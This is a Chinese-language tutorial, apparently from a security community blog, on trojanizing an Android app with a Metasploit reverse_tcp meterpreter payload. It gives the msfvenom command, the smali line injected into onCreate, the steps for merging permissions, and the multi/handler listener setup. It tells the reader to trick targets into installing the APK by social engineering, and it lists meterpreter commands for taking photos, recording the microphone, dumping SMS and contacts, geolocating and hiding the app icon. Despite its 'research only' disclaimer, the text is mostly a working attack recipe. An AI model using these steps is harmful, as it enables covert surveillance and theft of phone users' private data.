###如何给Android应用写入木马

#####文章中介绍的工具、技术带有一定的攻击性,仅供安全研究,请合理合法使用。

#####本文原创作者:XXX,本文属i春秋原创奖励计划,未经许可禁止转载!

####需要用到的工具:
逆向工具:Android killer
木马工具:Metasploit
5G时代的来临,让移动安全受到更大的热潮,而我刚好蹭下热点。现在大多数的安卓应用都可以轻易的使用一些反汇编软件能够轻松的对安卓应用进行植入木马病毒和恶意Payload。

####第一步:使用Metasploit生成需要的Payload
msf5 > msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.10.1 LPORT=4444 -o shell.apk
[*] exec: msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.10.1 LPORT=4444 -o shell.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 10090 bytes
Saved as: shell.apk

####第二步:反编译Android应用

#####使用反编译软件打开Android应用,我使用的是Android killer软件,其实在kali里面自带反编译软件的。

####第三步:寻找Android应用的入口文件和添加启动代码


然后在onCreate函数里面添加Payload的启动文件
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

####第四步:添加Payload文件

#####使用反编译软件打开shell.apk,然后找到Metasploit文件

#####然后把shell.apk下的Metasploit文件复制到需要植入Payload的apk里面的smali文件下的com的里面就可以了。

####第五步:给Apk增加权限

#####打开shell.apk里面的AndroidManifest.xml,然后复制到需要植入Payload的apk里面的AndroidManifest.xml,需要注意的是权限的申请是唯一的,不能重复,不然可能会出现错误。

#####第六步:编译

#####第七步:在Msf连接Payload
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.232.128
msf5 exploit(multi/handler) > set LPORT 1111
msf5 exploit(multi/handler) > exploit

#####第八步:利用社会工程学或者网马等技术让目标下载安装该APK,目标安装了该APK后我们就可以对目标的手机进行操作了。

######以下是Metasploit的一些Android Payload的命令
webcam_list 列出网络摄像头
record_mic [ˈrekərd]/记录/ 从默认麦克风录制音频为X秒
webcam_chat 开始视频聊天
webcam_snap 从指定的摄像头获取快照
webcam_stream -i 1 从指定的网络摄像头播放视频流[选择后摄像头]
activity_start 从URI字符串启动Android活动
check_root 检查设备是否有根
dump_calllog 获取调用日志
dump_contacts 获取联系人列表
dump_sms 获取短信
geolocate 利用地理定位获取当前LAT
wlan_geolocate 利用WLAN信息获取当前LAT
hide_app_icon 从发射器隐藏应用程序图标
interval_collect 管理区间收集能力
send_sms 从目标会话发送短消息
set_audio_mode
sqlite_query 从存储库查询SQLite数据库
wakelock 启用/禁用Wakelock